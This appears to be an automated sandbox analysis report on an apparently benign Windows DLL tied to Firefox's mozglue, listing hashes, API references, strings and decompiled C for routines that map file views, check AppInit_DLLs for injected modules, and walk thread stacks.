0x6d8703fc
0x6d8703fe
0x6d870428
0x6d87043a
0x6d87043c
0x6d870441
0x6d870448
0x6d87044e
0x6d870454
0x6d87045c
0x6d870463
0x6d87046b
0x6d870400
0x6d870400
0x6d870406
0x6d870411
0x6d870419
0x6d870420
0x6d870422
0x00000000
0x00000000
0x00000000
0x00000000
0x6d870408
0x00000000
0x6d870408
0x6d870406
0x6d8703fe
0x6d8703fa
0x00000000
0x6d8703e7
0x6d8703c0
0x00000000
0x00000000
0x00000000
0x6d87035d
0x00000000
0x00000000
0x00000000
0x6d8702e6
0x6d8702c7
0x6d8702c7
0x6d8702ca
0x6d8702d9
0x6d8702d9
0x00000000

Strings

1, xrefs: 6D8709A5
-, xrefs: 6D8708AE

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: -$1
API String ID: 0-1877142845
Opcode ID: 20c481e958ef71172725de586aead5606d6e45b27db564ef202f2e4ce6ae0c42
Instruction ID: 034de547a2852445d178bc8a758a890f5421fe5ca6d88d463e3b900cd2e8349e
Opcode Fuzzy Hash: 20c481e958ef71172725de586aead5606d6e45b27db564ef202f2e4ce6ae0c42
Instruction Fuzzy Hash: CB226D71C0826D8BDF378F2988587EDBBB9AB0A714F1008CAE49866241D7325BC5CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6D86199C, Relevance: 3.0, APIs: 2, Instructions: 37
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86199C(intOrPtr* __ecx, void* _a4, signed int _a8) {
				struct _SYSTEM_INFO _v40;
				void* _t17;
				intOrPtr _t18;
				long _t28;
				intOrPtr* _t29;

				_t29 = __ecx;
				GetSystemInfo( &_v40);
				_t28 = _a8 / _v40.dwAllocationGranularity * _v40.dwAllocationGranularity;
				_t17 = MapViewOfFile(_a4, 4, 0, _t28, _a8 - _t28 + 0x40);
				 *(_t29 + 4) = _t17;
				if(_t17 == 0) {
					_t18 = 0;
				} else {
					_t18 = _t17 - _t28 + _a8;
				}
				 *_t29 = _t18;
				return _t29;
			}

0x6d8619a7
0x6d8619aa
0x6d8619bd
0x6d8619cf
0x6d8619d5
0x6d8619da
0x6d8619e3
0x6d8619dc
0x6d8619de
0x6d8619de
0x6d8619e5
0x6d8619ee

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,6D862340,00000000,00000000,?,?,6D862F45,00000000), ref: 6D8619AA
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,6D862300,00000000,?,?,?,?,?,?,6D862340,00000000,00000000), ref: 6D8619CF

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoSystemView
String ID:
API String ID: 1125243938-0
Opcode ID: ba1f772d01e53001e6e6527f21786ac9569310c554f3227975b5cd87fe2fa699
Instruction ID: 97d259256cb55f7dfba6aaa524a17737fbe9e98cb57a65eaa2231e29e08f6005
Opcode Fuzzy Hash: ba1f772d01e53001e6e6527f21786ac9569310c554f3227975b5cd87fe2fa699
Instruction Fuzzy Hash: 59F06276600108ABDB149F69CC0DB9EBBF9EB8A320F008129FC45D7240D630E910CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D875F1F, Relevance: .2, Instructions: 238
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E6D875F1F(signed int __edx, long long __fp0, intOrPtr _a4, intOrPtr _a8, signed int _a12, long long* _a16) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v72;
				char _v80;
				signed int _t88;
				signed int _t101;
				void* _t102;
				void* _t104;
				void* _t105;
				signed int _t110;
				void* _t115;
				void* _t116;
				signed int _t117;
				signed int _t122;
				void* _t127;
				intOrPtr _t129;
				signed int _t130;
				signed int _t133;
				signed int _t136;
				signed int _t138;
				signed int _t139;
				signed int _t140;
				intOrPtr _t145;
				signed int _t150;
				signed int _t155;
				intOrPtr _t160;
				signed int _t162;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				intOrPtr _t178;
				void* _t183;
				void* _t184;
				intOrPtr _t186;
				void* _t189;
				intOrPtr _t190;
				void* _t197;
				void* _t198;
				signed int _t199;
				void* _t201;
				void* _t208;
				long long _t209;

				_t209 = __fp0;
				_t170 = __edx;
				_t129 = _a8;
				_t190 = _a4;
				asm("xorps xmm0, xmm0");
				asm("movlpd [ebp-0x3c], xmm0");
				_v56 = 0;
				_t88 = E6D876353(_t190, _t129,  &_v24);
				_t140 = _v24;
				if(_t129 != _t140) {
					__eflags =  *((char*)(_t190 + _t140)) - 0x35;
					if( *((char*)(_t190 + _t140)) >= 0x35) {
						_t88 = _t88 + 1;
						asm("adc edx, edi");
					}
					_t130 = _t129 - _t140;
					__eflags = _t130;
				} else {
					_t130 = 0;
				}
				_v40 = 0;
				_v48 = _t88;
				_v44 = _t170;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t183 = _a12 + _t130;
				E6D8732F2( &_v64);
				asm("sbb ebx, ebx");
				_t133 = E6D877FA0( ~_t130 & 0x00000004, _v56 - _v56, 0);
				asm("xorps xmm0, xmm0");
				_a12 = 0;
				_t208 = _t183 -  *0x6d87aed8; // 0xfffffea4
				if(_t208 >= 0) {
					_v72 = _v72 & 0x00000000;
					asm("movlpd [ebp-0x4c], xmm0");
					E6D8728CA(0, _t183,  &_v80,  &_v16);
					__eflags = _v16 - _t183;
					if(__eflags != 0) {
						_t189 = _t183 - _v16;
						E6D875D2C( &_v48, _t189);
						E6D872EE6( &_v64, 0, __eflags,  &_v48);
						_t127 = 0x13;
						__eflags = _t127 - _a8 - _t189;
						if(__eflags < 0) {
							_t133 = _t133 + 4;
							__eflags = _t133;
							asm("adc esi, 0x0");
							_a12 = 0;
						}
					}
					E6D872EE6( &_v64, 0, __eflags,  &_v80);
					__eflags = _t133;
					if(_t133 != 0) {
						_push(9);
					} else {
						_push(8);
					}
					_pop(_t184);
					E6D8732F2( &_v64);
					_t145 = 0;
					asm("adc ecx, [ebp+0x10]");
					_t172 = _t145;
					_t101 = E6D877FA0(_t184 + _t133, _v56 - _v56, _t172);
					_t186 = _v56;
					_t134 = _t101;
					_v12 = _t101;
					_v8 = _t172;
					_t102 = E6D8763E4(_t186 + 0x40);
					_t197 = 0x40;
					_t198 = _t197 - _t102;
					_t38 = _t198 + 3; // 0x43
					__eflags = _t38 - 0x40;
					if(_t38 >= 0x40) {
						_t201 = _t198 + 0xffffffc4;
						_t177 = _v60;
						_v64 = E6D877F00(_v64, _t201, _t177);
						_t186 = _t186 + _t201;
						_v60 = _t177;
						_t178 = _v8;
						_v56 = _t186;
						_t122 = E6D877F00(_t134, _t201, _t178) + 9;
						__eflags = _t122;
						asm("adc ecx, 0x0");
						_v12 = _t122;
						_v8 = _t178;
						_t198 = 0x3c;
					}
					_t104 = _t198;
					asm("bts ebx, eax");
					__eflags = _t104 - 0x20;
					_t150 =  >=  ? 0 : 0;
					_t136 = 0 ^ _t150;
					__eflags = _t104 - 0x40;
					_t47 = _t198 - 1; // 0x3b
					_t105 = _t47;
					_t151 =  >=  ? _t136 : _t150;
					asm("adc ecx, 0xffffffff");
					_t138 = _t136 + 0xffffffff & _v64;
					_t152 = ( >=  ? _t136 : _t150) & _v60;
					_v24 = ((( >=  ? _t136 : _t150) & _v60) << 0x00000020 | _t138) << 3;
					asm("bts ecx, eax");
					_t139 = _t138 << 3;
					__eflags = _t105 - 0x20;
					_t174 =  >=  ? 0 : 0;
					_t155 = 0 ^ _t174;
					_a12 = _t174;
					__eflags = _t105 - 0x40;
					_t175 = _v60;
					_t107 =  >=  ? _t155 : _t174;
					_a12 = (( >=  ? _t155 : _t174) << 0x00000020 | _t155) << 3;
					_v20 = _t155 << 3;
					_t110 = E6D877F00(_v64, _t198, _t175);
					_v48 = _t110;
					_t199 = _a12;
					_v40 = _t186 + _t198;
					_t160 = _v20 + _v12;
					_v44 = _t175;
					asm("adc esi, [ebp-0x4]");
					_v32 = _t160;
					_v28 = _t199;
					__eflags = _v24 - _t199;
					if(__eflags < 0) {
						L21:
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v40 = E6D871E73();
						_v36 = _t175;
						E6D875C38( &_v40);
						_t162 = _v24;
						 *_a16 = _t209;
						_t115 = _v20 - _v12;
						asm("sbb edx, [ebp-0x4]");
						__eflags = _a12 - _t162;
						if(__eflags > 0) {
							goto L7;
						}
						if(__eflags < 0) {
							L24:
							__eflags = _t162 - _v28;
							if(__eflags > 0) {
								goto L7;
							}
							if(__eflags < 0) {
								L27:
								_t116 = 0;
								goto L8;
							}
							__eflags = _t139 - _v32;
							if(_t139 >= _v32) {
								goto L7;
							}
							goto L27;
						}
						__eflags = _t115 - _t139;
						if(_t115 >= _t139) {
							goto L7;
						}
						goto L24;
					} else {
						if(__eflags > 0) {
							L20:
							_t117 = _t110 + 1;
							__eflags = _t117;
							_v48 = _t117;
							asm("adc edx, 0x0");
							_v44 = _t175;
							goto L21;
						}
						__eflags = _t139 - _t160;
						if(_t139 < _t160) {
							goto L21;
						}
						goto L20;
					}
				} else {
					asm("movsd [ecx], xmm0");
					L7:
					_t116 = 1;
					L8:
					return _t116;
				}
			}

0x6d875f1f
0x6d875f1f
0x6d875f26
0x6d875f2d
0x6d875f30
0x6d875f38
0x6d875f3e
0x6d875f41
0x6d875f46
0x6d875f4e
0x6d875f54
0x6d875f58
0x6d875f5a
0x6d875f5d
0x6d875f5d
0x6d875f5f
0x6d875f5f
0x6d875f50
0x6d875f50
0x6d875f50
0x6d875f61
0x6d875f67
0x6d875f6d
0x6d875f73
0x6d875f74
0x6d875f75
0x6d875f76
0x6d875f7d
0x6d875f7f
0x6d875f86
0x6d875f9b
0x6d875f9d
0x6d875fa0
0x6d875fa3
0x6d875fa9
0x6d875fbb
0x6d875fc6
0x6d875fcd
0x6d875fd5
0x6d875fd8
0x6d875fda
0x6d875fe2
0x6d875ff0
0x6d875ff7
0x6d875ffb
0x6d875ffd
0x6d875fff
0x6d875fff
0x6d876002
0x6d876005
0x6d876005
0x6d875ffd
0x6d87600f
0x6d876016
0x6d876018
0x6d87601e
0x6d87601a
0x6d87601a
0x6d87601a
0x6d876026
0x6d876027
0x6d876033
0x6d876034
0x6d876039
0x6d87603d
0x6d876042
0x6d876045
0x6d876047
0x6d87604a
0x6d876051
0x6d876059
0x6d87605a
0x6d87605c
0x6d87605f
0x6d876062
0x6d876067
0x6d87606a
0x6d876074
0x6d876077
0x6d876079
0x6d87607e
0x6d876083
0x6d87608b
0x6d87608b
0x6d876092
0x6d876095
0x6d876098
0x6d87609b
0x6d87609b
0x6d8760a0
0x6d8760a2
0x6d8760a5
0x6d8760a8
0x6d8760ab
0x6d8760ad
0x6d8760b0
0x6d8760b0
0x6d8760b3
0x6d8760b9
0x6d8760bc
0x6d8760bf
0x6d8760c8
0x6d8760cd
0x6d8760d0
0x6d8760d3
0x6d8760d6
0x6d8760d9
0x6d8760db
0x6d8760de
0x6d8760e3
0x6d8760e6
0x6d8760f0
0x6d8760f6
0x6d8760fb
0x6d876103
0x6d876106
0x6d876109
0x6d87610f
0x6d876112
0x6d876115
0x6d876118
0x6d87611b
0x6d87611e
0x6d876121
0x6d876135
0x6d87613d
0x6d87613e
0x6d87613f
0x6d876140
0x6d876149
0x6d87614f
0x6d876152
0x6d87615d
0x6d876160
0x6d876165
0x6d876168
0x6d87616b
0x6d87616d
0x00000000
0x00000000
0x6d876173
0x6d87617d
0x6d87617d
0x6d876180
0x00000000
0x00000000
0x6d876186
0x6d876191
0x6d876191
0x00000000
0x6d876191
0x6d876188
0x6d87618b
0x00000000
0x00000000
0x00000000
0x6d87618b
0x6d876175
0x6d876177
0x00000000
0x00000000
0x00000000
0x6d876123
0x6d876123
0x6d876129
0x6d876129
0x6d876129
0x6d87612c
0x6d87612f
0x6d876132
0x00000000
0x6d876132
0x6d876125
0x6d876127
0x00000000
0x00000000
0x00000000
0x6d876127
0x6d875fab
0x6d875fae
0x6d875fb2
0x6d875fb2
0x6d875fb4
0x6d875fba
0x6d875fba

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af11a06191e832acdad65b90fde349021fcda8b5ddfbf2f9c5b910cb4c7980a
Instruction ID: aea044368d6e64f1534435b94e469409809ae2c0a85fdb0ddb51130769a9a30c
Opcode Fuzzy Hash: 1af11a06191e832acdad65b90fde349021fcda8b5ddfbf2f9c5b910cb4c7980a
Instruction Fuzzy Hash: 2B81B272E0021D9BDF19CFA8D8946EEB7B6FF48314F25852EE911B7240DB316A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D86149E, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2789992fbb2403718505b74ab64c8acc9511bc70d8dbaaab6d47c68317c4b93b
Instruction ID: e02ff4adeacc34ca016581894b24e606177e7d677160fbfd60bc05b2664ae181
Opcode Fuzzy Hash: 2789992fbb2403718505b74ab64c8acc9511bc70d8dbaaab6d47c68317c4b93b
Instruction Fuzzy Hash: 99012DB2905208DFCF15CF6DD9C15AAB7F8FF49320B2485AAE80ADB205D6319900CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86244C, Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 174
registryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D86244C(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				short _v12;
				char _v16;
				short _v44;
				void _v556;
				void* _v560;
				void* _v564;
				void* _v568;
				char _v572;
				int* _v576;
				int _v580;
				void* _v584;
				void* _v588;
				signed int _t40;
				void* _t47;
				void* _t50;
				void* _t52;
				void** _t57;
				void* _t58;
				void* _t61;
				char _t62;
				short _t63;
				void* _t65;
				void* _t68;
				void* _t71;
				void* _t72;
				void* _t75;
				signed int _t78;
				int _t92;
				signed int _t95;
				void* _t97;
				signed int _t99;
				void* _t100;
				void* _t101;
				void* _t102;

				_t40 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t40 ^ _t99;
				_v572 = L"detoured.dll";
				_v568 = L"_etoured.dll";
				_t95 = 0;
				_v564 = L"nvd3d9wrap.dll";
				_v560 = L"nvdxgiwrap.dll";
				while(GetModuleHandleW( *(_t99 + _t95 * 4 - 0x238)) == 0) {
					_t95 = _t95 + 1;
					if(_t95 < 4) {
						continue;
					}
					if(GetModuleHandleW(L"user32.dll") == 0) {
						_v584 = 0;
						_t47 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, 1,  &_v584);
						__eflags = _t47;
						if(_t47 != 0) {
							goto L4;
						}
						_t78 = 6;
						_v580 = 0;
						_t50 = memcpy( &_v44, L"AppInit_DLLs", _t78 << 2);
						_t101 = _t100 + 0xc;
						_v588 = _t50;
						asm("movsw");
						_t92 = 0;
						__eflags = RegQueryValueExW(_t50,  &_v44, 0, 0, 0,  &_v580);
						if(__eflags != 0) {
							L18:
							_t52 = _v588;
							__eflags = _t52;
							if(_t52 != 0) {
								RegCloseKey(_t52);
							}
							goto L4;
						} else {
							_t57 = E6D861226(__eflags,  &_v576, _v580 >> 1);
							_t75 =  *_t57;
							 *_t57 = 0;
							_t58 = _v576;
							_v576 = 0;
							__eflags = _t58;
							if(_t58 != 0) {
								free(_t58);
							}
							_t61 = RegQueryValueExW(_v584,  &_v44, _t92, _t92, _t75,  &_v580);
							__eflags = _t61;
							if(_t61 != 0) {
								L16:
								__eflags = _t75;
								if(_t75 != 0) {
									free(_t75);
								}
								goto L18;
							}
							_t62 = L", "; // 0x20002c
							_v16 = _t62;
							_t63 =  *0x6d87a474; // 0x0
							_v12 = _t63;
							_push( &_v576);
							_t65 =  &_v16;
							_v576 = _t92;
							_push(_t65);
							_push(_t75);
							while(1) {
								__imp__wcstok_s();
								_t97 = _t65;
								_t102 = _t101 + 0xc;
								__eflags = _t97;
								if(_t97 == 0) {
									goto L16;
								}
								memset( &_v556, _t92, 0x200);
								_t68 =  &_v556;
								__imp___wsplitpath_s(_t97, _t92, _t92, _t92, _t92, _t68, 0x100, _t92, _t92);
								_t101 = _t102 + 0x30;
								__eflags = _t68;
								if(_t68 != 0) {
									L14:
									_push( &_v576);
									_t65 =  &_v16;
									_push(_t65);
									_push(_t92);
									continue;
								}
								asm("movsd");
								_t71 =  &_v556;
								asm("movsd");
								asm("movsd");
								asm("movsw");
								__imp___wcsnicmp(_t71,  &_v572, 7);
								_t101 = _t101 + 0xc;
								__eflags = _t71;
								if(_t71 == 0) {
									__eflags = _t75;
									if(_t75 != 0) {
										free(_t75);
									}
									_t72 = _v588;
									__eflags = _t72;
									if(_t72 != 0) {
										RegCloseKey(_t72);
									}
									goto L24;
								}
								_t92 = 0;
								__eflags = 0;
								goto L14;
							}
							goto L16;
						}
					}
					L4:
					L25:
					return E6D8770C0(_v8 ^ _t99);
				}
				L24:
				__eflags = 0;
				goto L25;
			}

0x6d862455
0x6d86245c
0x6d862464
0x6d86246e
0x6d862478
0x6d86247a
0x6d862484
0x6d86248e
0x6d8624a3
0x6d8624a7
0x00000000
0x00000000
0x6d8624b6
0x6d8624c5
0x6d8624d9
0x6d8624df
0x6d8624e1
0x00000000
0x00000000
0x6d8624e5
0x6d8624e6
0x6d8624fa
0x6d8624fa
0x6d862502
0x6d86250c
0x6d86250e
0x6d86251b
0x6d86251d
0x6d862624
0x6d862624
0x6d86262a
0x6d86262c
0x6d862633
0x6d862633
0x00000000
0x6d862523
0x6d862533
0x6d86253a
0x6d86253c
0x6d86253e
0x6d862544
0x6d86254a
0x6d86254c
0x6d86254f
0x6d862554
0x6d862569
0x6d86256f
0x6d862571
0x6d862619
0x6d862619
0x6d86261b
0x6d86261e
0x6d862623
0x00000000
0x6d86261b
0x6d862577
0x6d86257c
0x6d86257f
0x6d862585
0x6d86258f
0x6d862590
0x6d862593
0x6d862599
0x6d86259a
0x6d86260a
0x6d86260a
0x6d862610
0x6d862612
0x6d862615
0x6d862617
0x00000000
0x00000000
0x6d8625aa
0x6d8625b6
0x6d8625c2
0x6d8625c8
0x6d8625cb
0x6d8625cd
0x6d8625fe
0x6d862604
0x6d862605
0x6d862608
0x6d862609
0x00000000
0x6d862609
0x6d8625e3
0x6d8625e4
0x6d8625eb
0x6d8625ec
0x6d8625ed
0x6d8625ef
0x6d8625f5
0x6d8625f8
0x6d8625fa
0x6d86263e
0x6d862640
0x6d862643
0x6d862648
0x6d862649
0x6d86264f
0x6d862651
0x6d862654
0x6d862654
0x00000000
0x6d862651
0x6d8625fc
0x6d8625fc
0x00000000
0x6d8625fc
0x00000000
0x6d86260a
0x6d86251d
0x6d8624b8
0x6d86265c
0x6d86266c
0x6d86266c
0x6d86265a
0x6d86265a
0x00000000

APIs

GetModuleHandleW.KERNEL32(6D87A358,?,6D880138,00000001), ref: 6D862495
GetModuleHandleW.KERNEL32(user32.dll,?,6D880138,00000001), ref: 6D8624AE
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,6D880138,00000001), ref: 6D8624D9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,6D880138,00000001), ref: 6D862515
free.MOZGLUE(?,?,6D880138,00000001), ref: 6D86254F
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000001,?,?,6D880138,00000001), ref: 6D862569
memset.VCRUNTIME140(?,00000000,00000200), ref: 6D8625AA
_wsplitpath_s.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,00000000,00000000,00000000,00000000,?,00000100,00000000,00000000,?,00000000,00000200), ref: 6D8625C2
_wcsnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000007), ref: 6D8625EF
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000001,?,?,?,6D880138,00000001), ref: 6D86260A
free.MOZGLUE(00000001,?,6D880138,00000001), ref: 6D86261E
RegCloseKey.ADVAPI32(?,?,6D880138,00000001), ref: 6D862633
free.MOZGLUE(00000001), ref: 6D862643
RegCloseKey.ADVAPI32(?), ref: 6D862654

Strings

nvd3d9wrap.dll, xrefs: 6D86247A
AppInit_DLLs, xrefs: 6D8624EC
_etoured.dll, xrefs: 6D86246E
detoured.dll, xrefs: 6D862464
0Tu, xrefs: 6D862515, 6D862569
user32.dll, xrefs: 6D8624A9
nvinit, xrefs: 6D8625CF
nvdxgiwrap.dll, xrefs: 6D862484
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6D8624CF

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: free$CloseHandleModuleQueryValue$Open_wcsnicmp_wsplitpath_smemsetwcstok_s
String ID: 0Tu$AppInit_DLLs$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$nvinit$user32.dll
API String ID: 3033006195-1532381006
Opcode ID: 939c69cf07aca5d2760b318b99e3a61296cd7ef04e1a34f3fdaea6b10cc82804
Instruction ID: fe33ff294d51616f42ef4b8356489f0574667be381a026b393413cd13288d021
Opcode Fuzzy Hash: 939c69cf07aca5d2760b318b99e3a61296cd7ef04e1a34f3fdaea6b10cc82804
Instruction Fuzzy Hash: 28513D71910269ABDB209F599C8CFEF77BCEB4A710F0005D9F919E6140DB389A84CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6D86AA80, Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 214
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D86AA80(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v4104;
				char _v8200;
				intOrPtr _v8204;
				int _v8208;
				int _v8212;
				char* _v8216;
				intOrPtr _v8220;
				int _v8224;
				int _v8228;
				char* _v8232;
				void* _v8236;
				void* _v8240;
				void* _v8244;
				void* _v8248;
				intOrPtr _v8252;
				char _v8256;
				void* _v8260;
				void* _v8264;
				intOrPtr _v8268;
				intOrPtr* _v8272;
				intOrPtr _v8276;
				void* _v8288;
				signed int _t78;
				void* _t84;
				void* _t86;
				int _t88;
				void* _t91;
				void* _t126;
				void* _t127;
				int _t129;
				intOrPtr _t135;
				void* _t138;
				signed int _t142;
				void* _t144;
				int _t148;
				intOrPtr _t151;
				int _t153;
				intOrPtr* _t155;
				int _t157;
				signed int _t159;
				intOrPtr _t160;
				void* _t166;

				E6D877D70();
				_t78 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t78 ^ _t159;
				_v8272 = _a4;
				_t151 = _a20;
				_v8276 = _a16;
				_v8268 = _a24;
				E6D86A7BF(_a24);
				if(_t151 != 0 || E6D86A69F(__ecx) != 0) {
					_t84 = GetCurrentThread();
					_t138 =  !=  ? _t151 : _t84;
					_v8264 = _t138;
					_v8256 = _t138 == _t84;
					_t148 = 0;
					_t166 =  *0x6d880330 - _t148; // 0x0
					if(_t166 != 0) {
						L7:
						_t86 = GetCurrentProcess();
						_t88 = DuplicateHandle(GetCurrentProcess(), _v8264, _t86,  &_v8260, 0x1fffff, _t148, _t148);
						if(_t88 != 0) {
							_v8252 = _a8;
							_v8248 = _v8260;
							_t91 =  *0x6d880330; // 0x0
							_v8244 = _t91;
							_v8232 =  &_v4104;
							_v8220 = _a12;
							_v8216 =  &_v8200;
							_v8224 = _t148;
							_v8228 = 0x400;
							_v8208 = _t148;
							_v8212 = 0x400;
							_v8204 = _v8268;
							if(_t151 == 0) {
								_v8240 = CreateEventA(_t148, _t148, _t148, _t148);
								_v8236 = CreateEventA(_t148, _t148, _t148, _t148);
								 *0x6d881024( *0x6d880308, 0x400, _t148,  &_v8256);
								if(SignalObjectAndWait(_v8240, _v8236, 0xffffffff, _t148) != 0 && _v8256 != 0) {
									E6D86ADB0(0x400, "SignalObjectAndWait (1)");
									_pop(0x400);
								}
								_t153 = _v8224;
								if(_t153 > _v8228) {
									E6D877D40();
									_v8228 = _t153;
									_v8232 = _t160;
									_v8224 = _t148;
									E6D877D40();
									_v8216 = _t160;
									_v8212 = _v8208;
									_v8208 = _t148;
									 *0x6d881024( *0x6d880308, 0x400, _t148,  &_v8256);
									if(SignalObjectAndWait(_v8240, _v8236, 0xffffffff, _t148) != 0 && _v8256 != 0) {
										E6D86ADB0(0x400, "SignalObjectAndWait (2)");
									}
								}
								CloseHandle(_v8240);
								CloseHandle(_v8236);
							} else {
								E6D86AEA2(CloseHandle, 0x400, _t148, _t151,  &_v8256);
								_t157 = _v8224;
								_pop(_t144);
								if(_t157 > _v8228) {
									E6D877D40();
									_v8228 = _t157;
									_v8232 = _t160;
									_v8224 = _t148;
									E6D877D40();
									_v8216 = _t160;
									_v8212 = _v8208;
									_v8208 = _t148;
									E6D86AEA2(CloseHandle, _t144, _t148, _v8208,  &_v8256);
								}
							}
							CloseHandle(_v8260);
							if(_v8224 > _t148) {
								_t155 = _v8272;
								_t135 = _v8276;
								do {
									_t142 = _t148;
									_t148 = _t148 + 1;
									 *_t155(_t148,  *((intOrPtr*)(_v8232 + _t142 * 4)),  *((intOrPtr*)(_v8216 + _t142 * 4)), _t135);
									_t160 = _t160 + 0x10;
								} while (_t148 < _v8224);
							}
							goto L24;
						}
						if(_v8256 == _t88) {
							goto L24;
						}
						_push("DuplicateHandle (thread)");
						L6:
						E6D86ADB0(_t138);
						goto L24;
					}
					_t126 = GetCurrentProcess();
					_t127 = GetCurrentProcess();
					_t129 = DuplicateHandle(GetCurrentProcess(), _t127, _t126, 0x6d880330, 0x1fffff, 0, 0);
					if(_t129 != 0) {
						goto L7;
					}
					if(_v8256 == _t129) {
						goto L24;
					} else {
						_push("DuplicateHandle (process)");
						goto L6;
					}
				} else {
					L24:
					return E6D8770C0(_v8 ^ _t159);
				}
			}

0x6d86aa88
0x6d86aa8d
0x6d86aa94
0x6d86aa9b
0x6d86aaa5
0x6d86aaa8
0x6d86aab2
0x6d86aab8
0x6d86aabf
0x6d86aace
0x6d86aade
0x6d86aae3
0x6d86aae9
0x6d86aaf0
0x6d86aaf2
0x6d86aaf8
0x6d86ab35
0x6d86ab43
0x6d86ab4f
0x6d86ab57
0x6d86ab7a
0x6d86ab86
0x6d86ab8c
0x6d86ab91
0x6d86ab9d
0x6d86aba6
0x6d86abb2
0x6d86abbe
0x6d86abc4
0x6d86abca
0x6d86abd0
0x6d86abd6
0x6d86abde
0x6d86ac5f
0x6d86ac67
0x6d86ac80
0x6d86ac9d
0x6d86acad
0x6d86acb2
0x6d86acb2
0x6d86acb3
0x6d86acbf
0x6d86acca
0x6d86accf
0x6d86ace0
0x6d86ace6
0x6d86acec
0x6d86acf1
0x6d86ad0a
0x6d86ad10
0x6d86ad16
0x6d86ad33
0x6d86ad43
0x6d86ad48
0x6d86ad33
0x6d86ad4f
0x6d86ad57
0x6d86abe0
0x6d86abe7
0x6d86abec
0x6d86abf2
0x6d86abf9
0x6d86ac04
0x6d86ac09
0x6d86ac1a
0x6d86ac20
0x6d86ac26
0x6d86ac31
0x6d86ac38
0x6d86ac3e
0x6d86ac44
0x6d86ac49
0x6d86abf9
0x6d86ad5f
0x6d86ad67
0x6d86ad69
0x6d86ad6f
0x6d86ad75
0x6d86ad7b
0x6d86ad7e
0x6d86ad8c
0x6d86ad8e
0x6d86ad91
0x6d86ad75
0x00000000
0x6d86ad67
0x6d86ab5f
0x00000000
0x00000000
